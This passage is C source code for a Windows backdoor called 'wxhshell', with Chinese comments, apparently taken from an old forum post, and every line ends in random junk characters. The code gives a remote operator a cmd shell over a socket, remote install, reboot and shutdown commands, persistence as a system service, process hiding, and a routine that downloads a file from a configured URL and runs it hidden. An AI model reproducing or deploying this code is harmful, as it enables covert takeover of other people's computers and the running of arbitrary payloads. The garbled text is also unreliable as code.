  case '?': { ',9V|jvK  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 't:; irLW.  
    break; OI|[roMK  
  } b$N 2z  
  // 安装 K"|l@Q[  
  case 'i': { A)bWcB}U  
    if(Install()) Y<N5# );f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 01wX`"I  
    else aI P  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EMY/~bQW  
    break; zr-*$1eu  
    } tXNm$Cq.|  
  // 卸载 !%CWZZ 6u  
  case 'r': { e7 ^mmm  
    if(Uninstall()) s'!Cp=xQF"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J1( 9QN[w  
    else S0zD"T  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^uKwB;@  
    break; |Luqoa  
    } wxKX{Bs  
  // 显示 wxhshell 所在路径 ?qPo=~y01  
  case 'p': { SheM|I~de  
    char svExeFile[MAX_PATH]; .B7,j%1r  
    strcpy(svExeFile,"\n\r"); TrlZ9?3#D  
      strcat(svExeFile,ExeFile); mWoAO@}Y  
        send(wsh,svExeFile,strlen(svExeFile),0); o} J&E{Tk  
    break; s^Y"'`+  
    } JZ)RGSG i  
  // 重启 &5\iM^  
  case 'b': { dG@%jD)  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %RTBV9LIXr  
    if(Boot(REBOOT)) <^&ehy:7y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z06r6  
    else { 7I&&bWB  
    closesocket(wsh); s2h@~y  
    ExitThread(0); J[l7di5  
    } qX/y5F`  
    break; v[ . cd*b  
    } ]OM"ZG/^  
  // 关机 c/D+|X*  
  case 'd': { {j9{n  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9+j0q%  
    if(Boot(SHUTDOWN)) YN/|$sMD|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &Y!-%{e  
    else { ). <-X^@  
    closesocket(wsh); &TUWW/?T  
    ExitThread(0); p2#)A"  
    } p)`{Sos  
    break; ASKf '\,dV  
    } `.E[}W  
  // 获取shell K*%9)hq  
  case 's': { g2BHHL;`  
    CmdShell(wsh); F}F&T  
    closesocket(wsh); Lf16j*}-Q  
    ExitThread(0); Xnt~]k\"  
    break; x3hB5p$q  
  } .!Oo|m`V@  
  // 退出 nL5cK:  
  case 'x': { C uFSeRe  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); UbXh,QEG*  
    CloseIt(wsh); 5&QJ7B,!  
    break; pV9IHs}  
    } &q3"g*q  
  // 离开 caU0\VS  
  case 'q': { '9laa=H%8  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); fa-IhB1!K  
    closesocket(wsh); N@2dA*T,  
    WSACleanup(); \z>fb%YW  
    exit(1); `nUXDmdwzO  
    break; ),0g~'I~D  
        } v_BcTzQ0S  
  } @:j}Jmg  
  } R_ B7EP  
B}n,b#,*  
  // 提示信息 |9uOUE  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0@[$lv;OS  
} ?iw!OoZ`  
  } P 0SQr?W  
\MA+f~)9  
  return; @'w"R/,n-@  
} :G [|CPm-  
p#&h=,W}  
// shell模块句柄 )mg:_K  
int CmdShell(SOCKET sock) 69PE9zz  
{ |ax3sAg  
STARTUPINFO si; sGi"rg#  
ZeroMemory(&si,sizeof(si)); S ^"y4- 2  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )SaGH3~*C  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; YpWPz %`:  
PROCESS_INFORMATION ProcessInfo; {ME2ImD  
char cmdline[]="cmd"; oL!EYbFD'Z  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); rxe >}ZO  
  return 0; ,-$LmECg  
} ,g%0`SO  
D60aH!ft  
// 自身启动模式 6w*dKInG[-  
int StartFromService(void) x/NfZ5e0X  
{ O(#)m>A  
typedef struct EOIN^4V"  
{ cbNTj$'b2u  
  DWORD ExitStatus; F5LuSy+v  
  DWORD PebBaseAddress; fX(3H1$"  
  DWORD AffinityMask; {'N Z.  
  DWORD BasePriority; ls_'')yp  
  ULONG UniqueProcessId; O_2pIbh  
  ULONG InheritedFromUniqueProcessId; z#zI1Am(O  
}   PROCESS_BASIC_INFORMATION; NvD7Krqwa  
Qk0R a_  
PROCNTQSIP NtQueryInformationProcess; V3 9g,=`b%  
Y#]+Tm (+  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -j+UMlkB  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4~ q5,^kgB  
pf2[ , v/  
  HANDLE             hProcess; b[sx_b  
  PROCESS_BASIC_INFORMATION pbi; XtXEB<4Z  
z#8~iF1  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); HeK/7IAqp  
  if(NULL == hInst ) return 0; [/,)  
",p;Sd  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0QB iC]9  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %r<rcY  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); d:_t-ZZo  
0m7Y>0wC6T  
  if (!NtQueryInformationProcess) return 0; S(o#K|)>  
\(3y7D  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !lREaSM  
  if(!hProcess) return 0; #Z}Rf k(~  
Bz_^~b7  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; gD0eFTN  
OtY`@\hy  
  CloseHandle(hProcess); Km%]1X7T6  
IrR7"`.i  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); V8 e>l[tH  
if(hProcess==NULL) return 0; P]<4R:yb  
G[B=>Cy  
HMODULE hMod; ,oORW/0iS  
char procName[255]; d)B@x`  
unsigned long cbNeeded; @D)al^]x6  
b}OY4~ Y4  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); pe0F0Ruy  
@:;)~V  
  CloseHandle(hProcess); f& 0M*o,)  
qsF<!'m7`  
if(strstr(procName,"services")) return 1; // 以服务启动 wJg1Y0nh  
W$QcDp]#p}  
  return 0; // 注册表启动 >lmi@UN|k  
} +ylTGSZS  
PUz*!9HC  
// 主模块 ZufR {^W  
int StartWxhshell(LPSTR lpCmdLine) 8a &:6Zuo  
{ Zvhsyz|  
  SOCKET wsl; fs|)l$Rd  
BOOL val=TRUE; UN7EF/!Zz  
  int port=0; zUDg&-J3  
  struct sockaddr_in door; !*/*8re  
Nw:GCf-L  
  if(wscfg.ws_autoins) Install(); \Lq h j  
Y}@&h!  
port=atoi(lpCmdLine);  |$+3a  
ZkgV_<M|  
if(port<=0) port=wscfg.ws_port; G=)i{oC  
:fKl]XO  
  WSADATA data; <i<J^-W  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; :KH g&ZX7  
Q.bXM?V)  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   A_n7w  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); pEw"8U  
  door.sin_family = AF_INET; !y#"l$"xK  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); < 3(LWxw  
  door.sin_port = htons(port); uvgdY  
h}-3\8 >  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 1ofKt=|=  
closesocket(wsl); |o,YCzy|5  
return 1; SD#]$v  
} M])ZK  
909?_ v  
  if(listen(wsl,2) == INVALID_SOCKET) { 6.FY0.i  
closesocket(wsl); MU>k,:[  
return 1; ::o lN  
} < |e,05aM  
  Wxhshell(wsl); p$SX  
  WSACleanup(); r)qnl9?;`]  
"vA}FV%tRq  
return 0; jnd[6v=C7-  
<DpevoF  
} U6=..K!q  
\%u3  
// 以NT服务方式启动 &9/O!3p)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) sPd Gw~{  
{ ,"2s`YC  
DWORD   status = 0; siXr;/n"  
  DWORD   specificError = 0xfffffff; {2qFY 5H  
eeIhed9  
  serviceStatus.dwServiceType     = SERVICE_WIN32; /{|EAd{  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 832v"k CD  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; YTAmgkF\4  
  serviceStatus.dwWin32ExitCode     = 0; k")R[)92b?  
  serviceStatus.dwServiceSpecificExitCode = 0; 7}1~%:6  
  serviceStatus.dwCheckPoint       = 0; ;sfb 4x4  
  serviceStatus.dwWaitHint       = 0; Ok{*fa.PK  
7ByTnYe~S  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ( W a  
  if (hServiceStatusHandle==0) return; DvME 1]7)  
~0?mBy!-O  
status = GetLastError(); XttqO f  
  if (status!=NO_ERROR) sfLMk E  
{ INUG*JC6  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; =b38(\  
    serviceStatus.dwCheckPoint       = 0; U0=]  
    serviceStatus.dwWaitHint       = 0; "ZHW2l Mf  
    serviceStatus.dwWin32ExitCode     = status; _\=`6`b)  
    serviceStatus.dwServiceSpecificExitCode = specificError; gHhh>FFAq  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Tfh 2.  
    return; FE" y\2}  
  } - *F(7$  
Kqun^"Df  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; H|,Oswk~-  
  serviceStatus.dwCheckPoint       = 0;  zG+R5:  
  serviceStatus.dwWaitHint       = 0; 4!$s}V=6  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); za#s/b$[  
} "mX\&%i6\p  
vQ<90Z xqB  
// 处理NT服务事件,比如:启动、停止 %509\;el  
VOID WINAPI NTServiceHandler(DWORD fdwControl) V7#Ffi  
{ vesJEaw7  
switch(fdwControl) L{:9Cx!F  
{ Tskq)NU  
case SERVICE_CONTROL_STOP: u83J@nDQ  
  serviceStatus.dwWin32ExitCode = 0; P-`M  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Q=BZ N]g2  
  serviceStatus.dwCheckPoint   = 0; OQ8 bI=?[x  
  serviceStatus.dwWaitHint     = 0; m#ZO`W  
  { U ?'vXa  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); YRv&1!VLE  
  } HN_d{ 3  
  return; "nm FzN  
case SERVICE_CONTROL_PAUSE: d\%WgH  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; &P.4(1sC  
  break; m1n.g4Z&*  
case SERVICE_CONTROL_CONTINUE: W-Fu-Cz=  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ZPc@Zr`z  
  break; }>)@WL:q  
case SERVICE_CONTROL_INTERROGATE: lJ+0P2@h*  
  break; x8!ol2\`<  
}; ^BUYjq%(`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Av?2<  
} \2nUa ;  
Q F-LU  
// 标准应用程序主函数 UUF ;p2{f  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ub7zA!%  
{ Q s.pGi0W  
[(o7$i29|%  
// 获取操作系统版本 h\7fp.  
OsIsNt=GetOsVer(); cKN$ =gd  
GetModuleFileName(NULL,ExeFile,MAX_PATH); qud\K+  
GFfq+=se  
  // 从命令行安装 o]Ol8I  
  if(strpbrk(lpCmdLine,"iI")) Install(); "oWwc zzO  
MepuIh  
  // 下载执行文件 !icT/5  
if(wscfg.ws_downexe) { iZPCNS"  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 994` ua+  
  WinExec(wscfg.ws_filenam,SW_HIDE); %Rz&lh/  
} aaKN^fi&  
HQ|MhM/"  
if(!OsIsNt) { klQC2drS  
// 如果时win9x,隐藏进程并且设置为注册表启动 +zu(  
HideProc(); m~@;~7Ix  
StartWxhshell(lpCmdLine); ?s\ OUr  
} 3ia^\ jw  
else # S}Z8  
  if(StartFromService()) [~kdPk  
  // 以服务方式启动 48jVRo  
  StartServiceCtrlDispatcher(DispatchTable); ikSF)r;*t  
else "8 ~:[G#  
  // 普通方式启动 Glxuz0]  
  StartWxhshell(lpCmdLine); N;Dni#tQ`  
z^_*&  
return 0; `Q+ (LBP  
}
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只看该作者 1 发表于: 2006-10-10
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